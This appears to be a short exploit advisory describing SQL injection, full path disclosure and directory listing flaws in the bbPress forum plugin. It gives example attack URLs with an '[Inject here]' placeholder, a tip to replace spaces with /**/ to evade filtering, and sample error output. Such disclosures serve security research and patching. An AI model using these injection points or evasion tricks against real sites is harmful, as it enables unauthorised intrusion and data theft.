48 lines
No EOL
1.7 KiB
Text
48 lines
No EOL
1.7 KiB
Text
# Souhail Hammou - Independant Security Researcher & Penetration Tester .
|
|
# Facebook : www.facebook.com/dark.puzzle.sec
|
|
# Website : www.dark-puzzle.com
|
|
# Youtube : http://www.youtube.com/user/mariotrey
|
|
# E-mail : dark-puzzle@live.fr
|
|
# Greetings to all moroccan researchers and white hats .
|
|
====================================================
|
|
# Exploit Title: Wordpress plugins - bbpress Multiple Vulnerabilities
|
|
# Author: Dark-Puzzle (Souhail Hammou)
|
|
# OSVDB ID : 86400 & 86399 .
|
|
# Vendor Website : www.bbpress.ru / www.bbpress.com
|
|
# Risk : Critical
|
|
# Version: All Versions
|
|
# Google Dork : N/A
|
|
# Category: Webapps/0day
|
|
# Tested on: Windows Xp Sp2 , Backtrack 5 R3 .
|
|
----------------------------------------------------
|
|
I - SQL Injection Vulnerability :
|
|
----------------------------------------------------
|
|
bbpress plugin is prone to an SQL injection Vulnerability .
|
|
In cases when you face a valid string column problem try to change syntax or instead spaces add /**/ .
|
|
|
|
Note: Automated injection can be more effective in this case.
|
|
|
|
Example :
|
|
|
|
http://www.example.com/wp-content/plugins/bbpress/forum.php?id=1&page=[Inject here]
|
|
|
|
---------------------------------------------------
|
|
II - Full Path Disclosure Vulnerability :
|
|
---------------------------------------------------
|
|
|
|
The Full Path Disclosure vulnerability in bbpress is via Array .
|
|
|
|
Example :
|
|
|
|
www.example.com/path/bbpress/topic.php?id[]=12&replies=3
|
|
|
|
Error : Warning: urlencode() expects parameter 1 to be string, array given in /Full/Path/Here on line 786
|
|
|
|
---------------------------------------------------
|
|
III - Directory Listing Vulnerability :
|
|
---------------------------------------------------
|
|
|
|
www.example.com/PATH/bbpress/bb-templates/kakumei/
|
|
www.example.com/PATH/bbpress/bb-templates/kakumei-blue/
|
|
|
|
#Dark-Puzzle |